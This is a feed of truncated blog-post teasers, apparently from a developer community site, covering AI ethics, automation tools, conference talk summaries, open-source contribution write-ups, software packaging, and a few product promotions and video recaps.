In 2023, a healthcare algorithm used by hospitals across America was found to systematically discriminate against Black patients, denying them critical care that white patients with identical health conditions received. The algorithm wasn't programmed to be racist. It simply learned from historical data that reflected existing healthcare disparities. This is the hidden danger of AI bias, and it's why AI ethics has become one of the most critical conversations in technology today. As artificial intelligence systems make increasingly important decisions affecting millions of lives, from determining who gets hired to who receives medical treatment, understanding AI ethics and bias isn't just an academic exercise. It's a fundamental responsibility for anyone building, deploying, or using AI sy…  ( 18 min )

Why 90% of AI Apps Fail to Monetize Effectively: Enter Monetzly In the rapidly evolving landscape of AI applications, the promise of innovation often comes with a harsh reality: 90% of AI apps struggle to find sustainable monetization models. This is largely because many developers are caught in a cycle of subscriptions and paywalls that disrupt user experience. But what if there was a way to turn this around? Enter Monetzly—the Google Ads for AI conversations. As developers, we pour countless hours into creating intelligent applications that enhance user experiences. However, without a clear path to revenue, many of these innovations remain untested and underfunded. Monetzly offers a dual-earning model that not only allows developers to monetize their apps but also enables them to earn …  ( 7 min )

In today’s digital landscape, businesses strive to stay ahead by embracing automation to increase efficiency and reduce human error. n8n, an open-source automation tool, combined with AWS (Amazon Web Services), offers a powerful solution for integrating cloud-based services with automated workflows. This article will explore how the n8n AWS integration can help businesses enhance their workflow automation and boost productivity. What is n8n and Why is It Essential for Workflow Automation? n8n is an open-source automation platform that allows users to create complex workflows by connecting various apps, services, and APIs. It’s different from other automation tools because it gives users the flexibility to customize and extend workflows based on their specific needs. With a visual interfa…  ( 9 min )

Search engine optimization has significantly evolved over the past decade, but one element remains central to every brand’s visibility journey: trust. Search engines reward brands that appear credible, relevant, and active across the digital landscape. While traditional SEO focuses on technical performance and content quality, an often overlooked yet powerful contributor is the role of social profiles. Today, social media is far beyond a communication platform — it’s a search engine, brand validator, and authority signal all at once. Understanding how social profiles influence SEO can unlock new layers of growth for brands trying to win both ranking positions and consumer attention. In a world where customers can discover a business on Google, Instagram, YouTube, or LinkedIn with equal lik…  ( 14 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes a hilarious, sin-counting stroll through this fun, action-packed hybrid of K-pop and demon-hunting. Expect playful jabs at the movie’s quirks, catchy one-liners and the signature CinemaSins style as they tally up every “sin” in under 16 minutes. Beyond the video, you can dive deeper into CinemaSins via their main site, Linktree and social channels—plus a quick sinful poll, a Patreon for extra love, and community hangouts on Discord and Reddit. Follow the writers on Twitter and Instagram, and don’t miss Jeremy’s new book if you’re craving more behind-the-scenes fun! Watch on YouTube  ( 6 min )

For years, green screens were the standard way to remove backgrounds. They worked, but only if you had perfect lighting, studio space, and time for cleanup. Today, AI background removal has stepped in—and it’s outperforming traditional methods in almost every way. AI doesn’t need a special backdrop. It doesn’t need controlled lighting. And it doesn’t leave behind strange green edges or color spill. Just upload an image, click once, and the background is gone. Clean. Fast. Consistent. Before AI, removing backgrounds meant setting up a bright green backdrop and hoping for the best. You had to manage: Lighting Shadows Color contamination Manual keying in post-production Green screens made things possible, but they also limited creators and slowed teams down. AI works in any environment—indoor…  ( 7 min )

When you work with different teams long enough, you start noticing something meaningful: Good code reviews don’t just improve the code—they strengthen teams, culture, and the way we write applications. Think about it... That's where we actually teach each other new tricks / ways, share our best practices, and make sure we're all building something awesome, maintainable and reliable. Let’s take a clear look... what a helpful, responsible code review really looks like. I am going to dig into the everyday's habits we fall into — the good ones and the ones that slow us down — and let's figure out better ways to handle them. Code reviews aren’t only about catching typos. They protect the applications’s correctness, design, and future maintainers. Let’s analyze few of the reasons... Sometimes th…  ( 10 min )

UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud The digital landscape is constantly evolving, bringing with it both unprecedented opportunities and increasingly sophisticated threats. In a decisive move to bolster its defenses, the UK government has introduced a groundbreaking new bill aimed at significantly strengthening cybersecurity and imposing stricter regulations on technology service providers. This legislative push comes directly on the heels of extensive investigations into the colossal $28 million Basis Markets crypto fraud, a case that has sent ripples across the financial and tech sectors. The primary objective of this ambitious initiative is clear: to safeguard citizens and businesses from the relentless barrage of digital threats that …  ( 9 min )

Speaker: Fahad Shah @ AWS Amarathon 2025 Summary by Amazon Nova Modern Logistics Challenges: Managing multiple streams for trucks, drivers, routes, fuel, maintenance, shipments, and warehouses. Need for real-time operational views and long-term analytics. Data Storage Requirements: Fresh, joined views for immediate operations. Use of Apache Iceberg for long-term analytics. Technology Stack: RisingWave: Data platform for streaming capabilities. Lakekeeper: Open REST catalog for data management. Kafka: Event backbone for streaming data. Object Storage (e.g., MinIO): Storage solution for data. Objective: Demonstrate how to build streaming Iceberg tables using the specified open stack. Provide a simple and effective solution for modern logistics data management. The Log…  ( 9 min )

Speaker: Richard Lin @ AWS Amarathon 2025 Summary by Amazon Nova Open source is characterized as a cross-border collaboration method rather than a mere technical option. Engineers from different parts of the world can become collaborators through open source, despite never having met. For hackers, open source represents a shared journey and a means to contribute to a collective effort. For commercial projects, open source signifies an opportunity to engage with a global community and enhance product-market fit. The globalization of technology is driven by reputation, relationships, and trust, emphasizing "actions speak louder than words." The concept of "Community Over Code" highlights the importance of long-term community building. Developers are influenced more by neutral, tr…  ( 7 min )

Seamlessly Handling PrestaShop's Dynamic DB Prefixes with Doctrine Developing modules for PrestaShop using Doctrine can often lead to a perplexing issue: the dreaded "Base table or view not found" error, even when you're certain your table exists. This common pitfall arises because PrestaShop dynamically prepends a prefix to its database tables, a detail Doctrine's default behavior overlooks. Having navigated PrestaShop development for over 15 years, I've seen this specific problem derail countless projects. Today, I'm excited to share an elegant and robust method to resolve this using a custom Doctrine event subscriber. Picture this scenario: You've meticulously crafted your Doctrine entity with precise annotations, and you fire off your inaugural query. Suddenly, you're greeted with a …  ( 10 min )

Speaker: Luis Guirigay @ AWS Amarathon 2025 Summary by Amazon Nova Testing Categories: Code Testing: Code Analysis, Unit Testing Integration & Interface: Contract Testing, Interface Testing Functional: User Acceptance, Regression Testing Non-Functional: Performance Testing, Chaos Engineering End-to-end Testing: Comprehensive testing covering all aspects Performance Metrics: Load: System performance under expected usage Stress: Evaluate system behavior under extreme load conditions Endurance: Sustained load testing to identify long-term issues Scalability: Measuring performance under growing user/transaction volume Spike: Rapidly increasing or decreasing load to assess resilience and behavior Volume: Evaluates the impact of handling large amounts of data Measurement …  ( 7 min )

Kopia: A Comprehensive Open-Source Backup Solution for Modern Developers In the realm of data management, robust and reliable backup solutions are paramount. Kopia stands out as a free, open-source, and cross-platform utility meticulously designed for Linux, macOS, and Windows environments. It empowers users with a sophisticated yet accessible toolset for safeguarding their digital assets. *Core Functionalities: Rapid Incremental Backups: Kopia excels at performing quick incremental backups, ensuring that only the changed data is backed up, thereby saving time and resources. This feature is crucial for frequent backup schedules. Client-Side End-to-End Encryption: Data security is a top priority. Kopia implements robust client-side end-to-end encryption, guaranteeing that your sensitive information remains confidential and protected from unauthorized access, even before it leaves your local environment. Compression: To optimize storage space and reduce the overall size of backups, Kopia incorporates efficient compression algorithms. Data Deduplication: Kopia intelligently identifies and eliminates redundant data across backups, further enhancing storage efficiency and minimizing the amount of space required. Accessibility and Usability: As an open-source project, Kopia benefits from community contributions and continuous development, making it a dynamic and evolving solution. It represents a significant contribution to the open-source ecosystem, providing essential data protection capabilities without the cost barrier. Stelixx #StelixxInsights #IdeaToImpact #OpenSource #BackupSolution #Tech #DataProtection #Linux #macOS #Windows #DevTools #Programming #Development  ( 7 min )

Check out this Pen I made!  ( 5 min )

Releasing software sounds simple in theory, but I quickly learned how many small decisions are involved in making an app usable by real people. For my Repo-Context-Packager project, I needed to choose a release method that would allow non-developers to install and run the tool with as little setup as possible. Since this is a C++ command-line program with no external dependencies, I initially experimented with Conan, a package manager for C++ projects. However, I ran into installation and PATH issues on Windows, and I realized that using a package registry was adding unnecessary complexity. Instead, I chose a more direct and user-friendly approach: distributing a prebuilt executable through GitHub Releases. This gave me a simple and reliable way to make the tool available to anyone with a …  ( 7 min )

Welcome to Java City — a place where objects live, work, and sometimes… get forgotten. Every time you write: new Employee("Shweta"); You’re actually building a house in Java City and moving someone in — in this case, Employee Shweta. Thousands of such objects are created every day — Employees, Invoices, Strings, Lists… At first, everything is fine. Each object has a place to live. No one remembers them anymore. 🧍‍♂️ The Forgotten Citizens An old UserSession that’s no longer active. All these are forgotten citizens of Java City — still occupying homes, but no one knows they’re there. Left unchecked, the city would soon run out of land — 🧹 The Arrival of the Garbage Collector That’s when the Garbage Collector (GC) arrives — He walks through every street, checking: “Is anyone still referencing this house?” If no one answers — the GC marks that house for demolition. No ceremony. No drama. Just quiet cleanup. ⚙️ The GC’s Secret Art — Mark and Sweep It’s not random destruction. Mark phase: Sweep phase: This process keeps the city alive and thriving — without developers manually deleting anything. 💡 The Modern Twist — Different Neighborhoods Java City has multiple zones: Young Generation → Where new objects are born. Old Generation → Where long-living ones settle. Metaspace → Where class definitions live. The GC behaves differently in each area: ⚠️ When the GC Gets Overworked Even the best janitor has limits. If you keep creating new objects faster than GC can clean up — You’ll see pauses, lag, even stop-the-world events — That’s when tuning memory, reducing object creation, and reusing resources become crucial. 💬 The Moral The Garbage Collector isn’t magic — it’s your ally. It saves you from the chaos of manual memory management. So the next time your app slows down, “I’m cleaning as fast as I can.” 🧹 👩‍💻 About the Author Shweta is a Technical Lead who explains backend and cloud concepts through simple, story-driven examples and real-world developer insights.  ( 7 min )

🧠 What Is Code Tracker AI™? Code Tracker AI™ is an AI-powered development companion built to be ethical, private, and genuinely useful. ✨ Core Features ✨ AI Code Insights 🖼️ Current UI Prototype (Evolving) CODE TRACKER AI—current UI design (active development). It’s built for developers who want clarity and flow—not chaos. 🎨 A New Website That Matches the Vision The new site is designed to feel like the actual product: Dark, developer-first aesthetics Smooth animations Interactive panels Feature-rich walkthroughs Updated branding Cleaner navigation You can now understand the mission of Code Tracker AI in seconds—and dive deeper into the details with ease. 🧬** Why I’m Building This Developers deserve tools that don’t just push output but protect your mind, time, and intellectual property. Code Tracker AI™ focuses on: ✔ Reducing burnout This isn’t another “AI assistant.” 🛠 What’s Coming Next Here’s what’s currently on the roadmap: 💬 Code Tracker AI Assist (Built-in chat—no third-party integrations required) If you want early access, updates, and priority invites when the JetBrains plugin goes live: 👉 Join the waitlist: https://codetrackerai.com/ Early testers will receive: Access to the beta Influence on features Direct founder communication Early adopter benefits ❤️ Thank You Thank you to everyone who’s supported this project. If you’re a developer who cares about your workflow and wellness, this was built for you. Thanks, mona@codetrackerai.com  ( 7 min )

Check out this Pen I made!  ( 6 min )

Amazon ECS: From EC2 Managed to Express Mode Amazon ECS has evolved significantly over the years—from managing EC2 container instances manually, to the introduction of Fargate for serverless containers, making infrastructure management seamless. For developers or anyone new to containers, the priority is deploying applications at pace without complexity. Recently, AWS introduced ECS Managed Instances to simplify launching workloads further. Now the big leap is ECS Express Mode. Express Mode lets you deploy containerized applications in a single step. Upload your container image from Amazon ECR, optionally specify basic resources like vCPU and memory, or skip resource input to use defaults. Express Mode automatically provisions all necessary AWS infrastructure for you: Application Load Ba…  ( 8 min )

As part of my ongoing contributions to the Hedera SDK Python project, I recently tackled issue-864, which involved creating a beginner-friendly documentation page explaining the transaction lifecycle in the Python SDK. This was my latest Pull Request, and it provided an excellent opportunity to deepen my understanding of Hedera's transaction mechanics while improving the project's developer resources. I'll walk through what I did, the process I followed, the lessons learned, and how this fits into my overall progress toward mastering open-source contributions. SDK users often grasp what transactions do: creating accounts, minting tokens but struggle with how the transaction lifecycle works in the Hedera Python SDK. The typical flow isn't always intuitive, especially for newcomers. Users mi…  ( 7 min )

As developers, we spend most of our day optimizing code, automating processes, and thinking about efficiency. But here’s a twist: sometimes, the same principles we apply to software can make our physical workspace more productive too. Take the kitchen, for example. It might sound unrelated, but a cluttered sink and disorganized counters are basically the technical debt of real life. Messes pile up, small tasks become frustrating bottlenecks, and efficiency drops. Just like in coding, prevention is better than firefighting. I recently discovered a concept that works both in code and in the kitchen: modular organization. In software, modularity keeps your code clean, reusable, and scalable. In a kitchen, it’s about giving every item its dedicated “module.” A sponge has a spot, dishcloths have racks, and everything else has a home. Tools like this bring this philosophy to life in the kitchen — a simple magnetic holder or drying rack instantly reduces friction in your daily workflow. The lesson is clear: whether it’s digital or physical, small, deliberate systems reduce mental load. Developers love automation, but sometimes the “manual automation” of organizing your physical space can save hours of frustration. Just like refactoring messy code, reorganizing your desk or sink area has outsized benefits for efficiency and mental clarity. So next time you’re debugging a gnarly function or dealing with merge conflicts, glance at your surroundings. A clean, structured environment can actually make your brain work better. And if your kitchen sink is part of your dev workspace (hello, remote workers!), a few smart tools from Happy Sinks can keep that area just as optimized as your codebase.  ( 7 min )

Daily Tech News Roundup Stay up-to-date with the latest tech happenings! Today's roundup covers everything from a founder's unique path to Silicon Valley to Google's AI training practices and early Black Friday deals. Read on for the most important tech news of the day. Unlikely Path to Industrial Tech Success A young founder's unconventional background is proving to be an advantage in the industrial tech world. Initial skepticism from older executives quickly turns to respect as his fresh perspective and innovative ideas shine through. This highlights the value of diverse experiences in traditionally established industries. Source 'Jmail' Exposes Epstein Emails The infamous Jeffrey Epstein emails are now accessible in a reformatted "Jmail" inbox. This allows researchers and the public to …  ( 7 min )

Speaker: Miguel Angel Muñoz @ AWS Amarathon 2025 Summary by Amazon Nova What I Do Overview of the author's professional activities and responsibilities. Detailed sections covering various aspects of the author's work: Amazon Reference Technical Reference New Projects Problematic Projects Core Projects Business Initiatives Areas needing assistance Q Developer CLI and Kiro Saves Me, I didn't like GenAI, Q Developer CLI Discussion on the utility of Q Developer CLI and Kiro. Personal dislike for GenAI. Specific praises for Q Developer CLI. How They Works Explanation of the functioning and mechanisms of the tools mentioned. Amazon MCP Servers Super Powers CLI Commands Knowledge Pricing Git Research Terraform Agentic Loop (Q Developer CLI) Description o…  ( 7 min )

If you spend 8–12 hours a day in front of a screen, you know the struggle is real: sore wrists, tight shoulders, and that slow, creeping back pain that makes debugging a minor nightmare feel like climbing Everest. As developers, we often obsess over code quality, deployment pipelines, or the latest framework—but we forget the most important part of our “stack”: our bodies. Long hours at a desk are brutal on your joints, and poor ergonomics can silently tank your productivity. Trust me: no amount of caffeine or standing desk upgrades can fully compensate for neglected ergonomics. You might not realize it, but simple movements like typing, scrolling, or lifting your laptop or monitor can affect wrist and forearm health. Over time, this can lead to chronic discomfort—or worse, repetitive stra…  ( 8 min )

Speaker: Renato Losio @ AWS Amarathon 2025 Summary by Amazon Nova Five Hard Lessons from Five Years of So-Called Serverless Databases Serverless is not Serverless. Or Vice Versa? Introduction of serverless databases on Amazon Web Services Aurora Serverless v1 GA (2018-08) DynamoDB On-Demand (2018-11) Amazon Timestream (2020-09) Aurora Serverless v2 Preview (2020-12) Aurora Serverless v2 GA (2022-04) Redshift Serverless (2022-07) Amazon Neptune Serverless (2022-10) ElastiCache Serverless (2023-11) Amazon DSQL (2025-05) DocumentDB Serverless (2025-07) What about... Amazon S3 Amazon SQS Amazon Route 53? Storage is Underrated Aurora Serverless v2 scales instantly to support even the most demanding applications, delivering up to 90% cost savings compared to p…  ( 7 min )

Introduction TrendRadar is an innovative tool designed to simplify news monitoring and analysis. With the ability to track 35 platforms, including Douyin, Zhihu, and Bilibili, it provides a comprehensive overview of current trends and sentiment. In today's information age, staying updated with the latest news and trends can be overwhelming. Manual tracking and analysis of news from multiple sources is time-consuming and prone to errors. TrendRadar offers a solution to this problem by leveraging AI to analyze news and provide insights. Its key features include: Multi-platform tracking: Monitor news from 35 platforms in real-time AI-powered analysis: Utilize natural language processing to extract insights and trends Customizable notifications: Receive updates via enterprise WeChat, personal WeChat, Feishu, DingTalk, Telegram, email, or ntfy Easy deployment: Deploy TrendRadar in 30 seconds via web or 1 minute via mobile, no coding required ## Code Snippet To get started with TrendRadar, users can deploy it using Docker. Here's an example of how to run TrendRadar using Docker: docker run -d --name trendradar -p 8080:8080 sansan0/trendradar TrendRadar is a powerful tool for news monitoring and analysis. Its ability to track multiple platforms and provide AI-powered insights makes it an invaluable resource for individuals and organizations looking to stay informed about the latest trends and sentiment. Analysis by AEGIS Protocol  ( 6 min )

Where Have All The Metalheads Gone? dives into the past, present and future of heavy metal, exploring why the scene feels so different these days and where it might be headed next. Huge shout-out to the Beato Club supporters—Justin Scott, Terence Mark, Jason Murray, Lucienne Kilpatrick, Alexander Young, Jason Wagner, Todd Ladner, Rob Kline, Nicholas Long, Tim Benson, Leonardo Martins da Costa Rodrigues, Eddie Perez, David Solomon and many more—whose support keeps the metal conversations rolling. Watch on YouTube  ( 6 min )

TL;DR CinemaSins is back on the yellow brick road, mining all the sins in The Wiz now that Wicked’s making a splash in theaters again. Expect their trademark snark, nitpicks and a speedy teardown of every questionable moment in under 15 minutes. Want more sinful content? Hit up their website, socials, Discord or Reddit; fill out their poll; or become a patron. The video’s crew is Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and they’ve got all the links you need in their link tree. Watch on YouTube  ( 6 min )

Just dropped my baby on the Play Store – here’s the link upfront (no scrolling required): https://play.google.com/store/apps/details?id=thanh.pro.appinfo What it does (the short version): 🛡️ Explains permissions in plain English: Stop guessing what a permission does. Just tap it for a simple explanation of the risk. 🖼️ Exports a "stat sheet": Creates a clean PNG image of an app's entire tech info and permissions list. Great for bug reports. 🤓 All the nerd stats: Package name, Target SDK, install times, and all that good stuff. It's got a clean Material 3 design, full dark mode, and actually respects your privacy because it can't even connect to the internet. Would love for you to try it out and let me know what you think!  ( 6 min )

There's this moment that happens to every developer—usually around 2 AM, bathed in the cold glow of a monitor, fingers hovering over the keyboard like a pianist about to perform Rachmaninoff—when you realize that the bug you've been hunting for three hours was caused by a typo. Not even an interesting typo. Just a missing semicolon, or a variable named uesr instead of user. And in that moment, you feel the entire weight of human fallibility pressing down on your shoulders. I've been writing code for longer than I care to admit, and here's what I've learned: we all make mistakes. Every single one of us. The junior developer who just finished their bootcamp, the mid-level engineer grinding through their third microservice migration, the senior architect who's forgotten more programming langu…  ( 53 min )

Every codebase has that one factory/builder nobody wants to touch. It starts out innocent, but two years and ten features later, it's mutated into a 500-line if-else monstrosity: class FishFactory: def create_fish(self, fish_id: int, water_type: str, depth: int, is_holiday: bool) -> Fish: if fish_id == 1: return ClownFish() elif fish_id == 28: # TODO: have Brian fix this later - 06/12/2016 if water_type == "SALT" or water_type == "SALTY": return BlueTang() elif water_type == "FRESH": return RoboticBlueTang() elif fish_id == 3: if depth > 100: return DeepSeaGramma() elif is_holiday: return RoyalChristmasGramma() elif …  ( 13 min )

"Top 10 distros for gaming" These are the type of articles that show up when you're a new user trying to switch to Linux. Most of the time, such articles don't make the distinction between distros clear enough that users can compare them. This article aims to break down the basic components that make up a Linux distro, and see how popular distros differ in these aspects. While there are lots of components that shape a distro, I'll be focusing on the main ones that matter to a new user: desktop environment package manager package freshness display server This is the "frontend" of the distro. It's the GUI components that you interact with, such as the taskbar, the window decorations, the tab switcher, and so on. Most desktop environments can be classified as either Qt or GTK-based. When pi…  ( 11 min )

For my lab, I worked on my repo ContextWeaver and I used Python’s packaging tools and published my project on TestPyPI using build and twine, since Python packages are all managed through PyPI and TestPyPI. The process was pretty detailed. I had to reorganize my code into a proper src/contextweaver structure, create a pyproject.toml with all the metadata, bump versions every time I re-uploaded, build the package using python -m build, and then upload it with twine. I learned a lot about how strict packaging actually is especially versioning (you can’t reuse a version, or TestPyPI will reject it), and how the description shown on PyPI actually comes from your README.md. My “aha” moment was realizing that I had to update the version and pull the changes locally before rebuilding, otherwise I’d keep uploading the wrong version. I didn’t need to change my code logic, but I did have to clean up my file structure and add installation sections to my README so it made sense for real users. For user testing, I asked my friend to follow only the README, and they immediately got confused about installation, Python version, and how to run the CLI. I took notes and updated the README to include installation (pip install), Python 3.10+ requirement, CLI examples, and troubleshooting. Now users can install my project with a simple pip install contextweaver, and they can run it using commands like contextweaver . -o snapshot.txt. Overall, the release process forced me to think about how a real user would experience my project, and updating the documentation made a huge difference.  ( 6 min )

For my second PR, I worked on improving Unicode handling across event data, specifically addressing a bug where diacritics and accented characters were displaying incorrectly in event summaries, descriptions, and locations in Open Web Calendar project. This issue affected international users whose calendars contained characters like á, ñ, ü, and ø. To fix this, I explored the ICS conversion process in events.py, added a normalization function using Python’s unicodedata.normalize("NFC"), and made sure it applied consistently to all text fields before being passed to the frontend. This required reading through the ICS parser, learning how the project structures event data, and testing with sample ICS files that contained accented characters to verify the fix. Compared to my earlier assignments, this PR felt more like real open-source work, debugging a subtle data-handling issue, updating backend code, and manually validating changes across the UI. This contribution helped me get comfortable modifying a larger codebase and taught me how to approach encoding problems that don’t always produce obvious errors but have a real impact on user experience.  ( 6 min )

For my first PR in Release 0.3, I decided to fix an issue in the Open Web Calendar project where all-day events were showing incorrectly as two-day spans. This bug had been reported by multiple users and required me to go deeper into the frontend event-rendering logic in calendar.js. I started by running the project locally, comparing real ICS behavior, reading the DHTMLX scheduler documentation, and tracing how the app determines whether a start and end time represent a one-day duration. Eventually I discovered that ICS all-day events use an exclusive end date, which meant the calendar was interpreting them as starting at midnight on Day 1 and ending at midnight on Day 2. My fix adjusted the date-handling logic so that if both timestamps begin at 00:00, the end date is automatically shifted back by one day. I tested this using multiple ICS files and confirmed that the calendar now displays all-day events cleanly as a single day. This PR pushed me to analyze JavaScript code more deeply than I did in Release 0.2, and it helped me better understand how calendar systems handle date boundaries.  ( 6 min )

Unlocking Speed: Certified Symmetry Breaking with Auxiliary Variables Imagine coordinating thousands of servers in a massive data center. Now, picture ensuring they're all running the most efficient tasks without any redundancy, a feat previously plagued by uncertainty. Symmetry breaking, a critical optimization technique, makes this possible, but ensuring its correctness has always been a challenge. That's where this new approach changes everything. At its core, this breakthrough introduces a novel way to represent the order of operations during symmetry breaking. Instead of relying on bulky, unwieldy large integers to define these relationships, the new method uses a system of 'helper' variables. These auxiliary variables streamline the representation, leading to significantly faster c…  ( 7 min )

React Suite (rsuite) v6 is now available. This release focuses on modernizing the foundation: the styling system has been rebuilt, new layout primitives were added, and responsiveness plus the overall developer workflow received targeted improvements. The goal is to keep the library stable while making it easier to adapt to contemporary UI requirements. The most fundamental change in v6 is the migration from Less to SCSS with CSS variables as the primary theming interface. Updating theme values is now as simple as overriding variables at runtime—no rebuilds or tooling tweaks required. Consult the CSS Variables guide for the full variable list, and try the Palette tool to fine-tune brand colors visually. Logical properties: margin-inline-start etc. replace physical properties for native RT…  ( 8 min )

AI-Powered Customer Master Data Management (MDM) Hey everyone! 👋 I tackled a real-world challenge: duplicate and inconsistent customer data across multiple systems. My solution is an end-to-end AI-powered Customer Master Data Management (MDM) platform that: 🔹 Detects duplicate and partial-match records using ML embeddings ✨ Key Features: API data ingestion Scoring and confidence interval computation using Drools rule engine Embedding-based similarity matching using Sentence Transformers k-NN semantic search with OpenSearch Data Stewardship View 🛠️ Tech Stack: replit.com + Java Spring Boot (Backend) OpenSearch for search + k-NN Sentence Transformers (all-MiniLM-L6-v2) for embeddings lovable.dev (Front End) Drools Rule Engine 🎯 Outcome: This project gave me hands-on experience solving a real enterprise data challenge, and I am proud of the results! 😄 Happy to share demo / architecture if anyone is interested! 🚀 IITPatnaCapstone #GenAI #AIProjects #Capstone #LearningJourney #IITPatna #GenerativeAI  ( 6 min )

Chapter 1: The Archives Below The rain arrived without warning, as rain in Manhattan so often does—one moment the October sky was merely gray and brooding, the next it was releasing sheets of water that sent pedestrians scrambling for awnings and doorways. Ethan, clutching a laptop bag that was definitely not waterproof, ducked into the first open door he found. The Whitmore Branch of the New York Public Library occupied a narrow Beaux-Arts building on a quiet street in lower Manhattan, wedged between a Korean grocery and a law office. Ethan had walked past it a hundred times during his four years at NYU and had never once gone inside. He stood now in the small foyer, water dripping from his hair onto the marble floor, and took in the unexpected grandeur: coffered ceilings painted in fad…  ( 14 min )

Introduction After weeks of development, testing, and CI setup, it was time to share this tool with the world. The Repository Context Packager had proven useful locally, but making it installable via npm would let others use it without cloning the repo. Well, this is not my first npm release, but this blog documents my journey from a local CLI tool to a published npm package—the challenges, solutions, and lessons learned along the way. Chose npm as the package registry (the standard for Node.js/TypeScript projects) Published as scoped package: @tajudeen/repo-context-packager@1.0.3 Configured package.json with bin field for CLI installation, files field for clean publishing, and postbuild script for shebang injection Resolved package name conflict by using scoped package naming Updated …  ( 9 min )

Importante: La prevención del lavado de dinero y la financiación del terrorismo es fundamental para la estabilidad financiera y la seguridad nacional. Sin embargo, existen errores comunes en la implementación de sistemas de prevención que pueden comprometer la eficacia de estas regulaciones. Error común: Reportes tardíos de Operaciones con Recursos de Procedencia Ilícita (ORPI). Consecuencia: La falta de detección oportuna de transacciones sospechosas puede permitir que el dinero ilícito circule por el sistema financiero, violando la Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita (LFPIORPI). Propuesta de corrección: Implementar un sistema de detección automatizado de ORPI que integre tecnologías de Inteligencia Artificial (IA) y Aprendizaje Automático (ML) para análisis en tiempo real de transacciones y alertas personalizadas para los responsables de cumplimiento. Tecnología innovadora: TarantulaHawk.ai, una plataforma de IA SaaS especializada en Prevención del Lavado de Dinero (PLD), ofrece soluciones avanzadas para la detección y prevención de ORPI, basadas en algoritmos de ML y entrenamiento con datos de casos reales. La reforma de la LFPIORPI de 2025 incluye cambios importantes en la regulación de PLD, enfatizando la necesidad de implementar tecnologías de IA y ML para mejorar la eficacia y la eficiencia en la prevención del lavado de dinero y la financiación del terrorismo. Es fundamental recordar que la implementación efectiva de sistemas de PLD requiere no solo la tecnología adecuada, sino también la capacitación y la conciencia de los responsables de cumplimiento y las instituciones financieras. Por lo tanto, es crucial adoptar tecnologías de IA y ML de manera responsable y ética, como la plataforma TarantulaHawk.ai, para mejorar la prevención de ORPI y contribuir a la estabilidad financiera y la seguridad nacional. Publicado automáticamente  ( 7 min )

Myth: AI powers Netflix's ability to curate a perfect list of recommended shows and movies that you actually want to watch. Reality: While AI does play a significant role in content recommendation, it's not as straightforward as matching individual viewer preferences with content. In reality, Netflix uses a combination of collaborative filtering, content-based filtering, and knowledge-based systems to deliver personalized recommendations. Collaborative filtering analyzes viewing habits of similar users to suggest content, content-based filtering focuses on attributes of the content itself, such as genres and directors, and knowledge-based systems incorporate domain knowledge about genres, directors, and other metadata to make informed decisions. What's more, human curation plays a crucial role in evaluating and refining AI-driven recommendations, incorporating factors like cultural context and social relevance. This hybrid approach ensures that AI recommendations are both data-driven and context-aware, making them more accurate and engaging for users. Publicado automáticamente  ( 6 min )

Hey there, fellow tech explorers! 🚀 Ever wondered what an API is and why it's the coolest kid on the block? Well, buckle up, because we’re about to dive into the world of APIs with a sprinkle of humor and a dash of wit! What is an API? In tech terms, an API (Application Programming Interface) is like that waiter. It’s a set of rules that allows different software applications to communicate with each other. Think of it as the bridge that connects your app to the vast world of data out there! Why Should You Care? Start Small: Begin with simple APIs. Check out public APIs that offer free data. service@ip2world.com. And if you’re curious to learn more, don’t forget to visit our website: http://www.ip2world.com/?utm-source=yl&utm-keyword=?zq. So, what are you waiting for? Dive into the world of APIs and unleash your inner tech wizard! 🧙‍♂️✨ Happy coding!  ( 7 min )

Recent research emphasizes that AI model training and deployment can significantly impact carbon footprints due to the massive computational resources required. A study published in the Journal of Machine Learning Research highlights that the majority of AI's carbon emissions arise from the energy consumed by data centers housing these resources. Key finding: Practical impact: Publicado automáticamente  ( 6 min )

As AI-driven diagnosis and treatment plans become increasingly prevalent in healthcare, a crucial question arises: to what extent can AI be considered 'co-author' rather than just 'co-reader' of medical literature and clinical decision-making processes? Should AI's capacity for processing vast amounts of data and identifying patterns be granted equal, or near-equal, weight to human clinicians' expertise when developing or modifying treatment plans, or would this compromise the nuances of human clinical judgment and patient-specific care? Publicado automáticamente  ( 6 min )

The recent general availability of Amazon Bedrock Agentcore marks a significant milestone in the evolution of AI-powered applications on AWS. While Bedrock has already established itself as a leading platform for building and scaling generative AI solutions, Agentcore pushes the ecosystem further by offering a more unified runtime for orchestrating agents, managing memory, integrating tools, and enabling complex workflows. This GA release doesnt just expand AWSs AI portfolioit accelerates how quickly teams can design, deploy, and iterate on intelligent, autonomous systems. Over the past months, a wave of technical content has emergeddeep dives into the Agentcore runtime, gateway integrations, memory persistence models, tool management, and more. These resources are incredibly valuable for …  ( 14 min )

TL;DR En este lab vas a construir un Bedrock Agent totalmente funcional que puede: Leer tus documentos en S3 Extraer información Ejecutar funciones Responder preguntas de forma estructurada Razonar paso a paso usando Amazon Nova Micro Todo 100% desde la consola, sin Studio ni código manual. Aprenderas a: Tiempo estimado: 20–30 min Bedrock Agents, S3, IAM Decidí crear este lab porque quiero entender cómo funcionan los agentes de IA en AWS de forma simple, práctica y explicable. Quiero poder guiar a otros, enseñar conceptos de GenAI sin complejidad innecesaria y construir demos útiles para mi portfolio técnico. Campo Valor Categoría CB AI/ML Servicios AWS Amazon Bedrock Agents, Amazon S3 Requisitos previos Cuenta AWS, S3 + Bedrock habilitados, región us-east-1 Costos estimados B…  ( 13 min )

TL;DR In this lab you’re going to build a fully functional Bedrock Agent that can: Read your documents in S3 Extract information Execute functions Answer questions in a structured way Reason step by step using Amazon Nova Micro All 100% from the console, no Studio and no manual code. You will learn to: Create a bucket, upload PDFs, create an Agent, add Actions, connect S3, test with real questions, and validate responses using grounding. Estimated time: 20–30 min I decided to create this lab because I want to understand how AI agents in AWS actually work in a simple, practical, and explainable way. I want to guide others, teach GenAI concepts without unnecessary complexity, and build useful demos for my technical portfolio. Field Value CB Category AI/ML AWS Services Amazon Bedrock…  ( 12 min )

